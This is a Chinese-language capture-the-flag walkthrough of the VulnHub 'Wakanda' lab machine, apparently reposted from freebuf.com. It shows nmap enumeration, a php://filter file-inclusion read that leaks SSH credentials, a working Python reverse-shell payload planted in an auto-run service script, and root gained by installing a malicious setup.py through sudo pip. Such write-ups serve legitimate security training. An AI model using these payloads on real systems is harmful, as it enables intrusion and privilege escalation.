0x00:前言
这道题还是非常有意思的
wakanda:是漫威电影黑豹的一个地方
0x01:信息收集
nmap首先找到目标ip,设置桥接,进行nmap查找存活主机。
目标主机ip为192.168.43.18
nmap -sV -vv -p1-65535 192.168.43.18
可以看到开了个web服务80端口
这里的ssh弱口令爆破在metasploit里面试了一下,没爆出来。
OK浏览下web页面
发现一个名字(mamadou)
做vulnhub题目要有敏感度,这种就是vulnhub特点 信息收集,这就是一个突破口,我一开始看到没注意!!!多捞啊。
这很明显啊,href=?lang=fr
用御剑扫出来了一个页面:fr.php
很明显,这里是文件包含
172.16.143.130/?lang=php://filter/read=convert.base64-encode/resource=index
拿到base64进行解码,得到一个密码(难怪爆不出来,这么复杂。。。)
那么最终得到
账号:mamadou
密码:Niamey4Ever227!!!
进行ssh连接
ssh 172.16.143.130 -l mamadou -p 3333
得到一个py命令行
进行python的pty将终端弹出来
>>>from pty import spawn
>>>spawn(“/bin/bash”)
第一个flag1.txt到手
0x02:第二个flag2.txt
现在我们拥有wakanda权限
全局查找一下flag2.txt
find / -name flag2.txt
在home目录下的devops里面,需要devops权限
OK 全局搜索下和devops有关的东西
find / -user devops 2>/dev/null(错误的信息不显示,更加直观)
找到一个py文件,打开进行查看就是一段废话,但是其的权限是可以写的
既然有写的权限那我们可以进行写shell
然后执行
但是这个反弹的shell是wakanda权限的(下面是演示)
#.antivirus.py--payload
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((‘172.16.143.133',7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
在那个文件里面写入以上代码
在kali上开启监听 nc -lvp 7777
执行就好了
但是反弹的shell是wakanda1的权限,仍然不能进行查看
OK!!!
再想想有没有什么好方法
后来经人点拨,恍然大悟,如果这个脚本是会自动运行的,那么就不会反弹mamadou权限的shell了,而是它本身具有的devops权限,而经过查询资料,了解到存放在/src目录下的一般为系统服务类脚本文件,那么它自动运行的假设就显然可以成立了。
用一个命令进行查看grep -R .antivirus.py / 2>/dev/null
grep -R(对这个目录下的文件进行递归,查找含有.antivirus.py的文件)
查看一下antivirus.service文件
发现是300s自动提交一次
然后我们就把这个shell写入然后让他自己执行就行,kali开着nc监听,等300s就行
反弹shell后进行查看flag2.txt发现成功
成功后就可以查看了
0x03:root.txt
利用sudo -l来查看当前用户权限
然而,只有一个pip命令是可以不需要root权限就能执行的,试试pip install falsk,没问题。
那么怎样才能通过pip来获取root权限呢?这里用到一个github上的开源脚本Fakepip。这个脚本通过在pip重新安装时执行的setup.py文件中插入shellcode,导致其可通过pip反弹root权限的shell给攻击机。项目地址(https://github.com/0x00-0x00/FakePip.git)
下载下来注意个坑点(可能我没设置好,注意格式,py文件在pycharm里面跑一下看看正不正常)
然后就在攻击机上开个pyweb服务(py3是 python -m http-server 8888)
py2是 python -m SimpleHTTPServer 8888
默认是8000端口
然后在有devops权限的命令下 进行下载
wget 192.168.1.1:8000/setup.py(例子)
然后执行即可
py文件在linux提权里面,看markdown即可知道
改完setup.py里面的ip,则根据ip进行监听443端口
nc -lvp 443
然后执行以下命令
最后弹shell成功,get root.txt
0x04:总结
非常不错的一个题目,linux提权方式五花八门,提权过程不止涉及到了内核漏洞的exp积累,也涉及了很多系统配置安全。
来源:freebuf.com 2021-02-24 13:35:32 by: 星云博创科技有限公司
请登录后发表评论
注册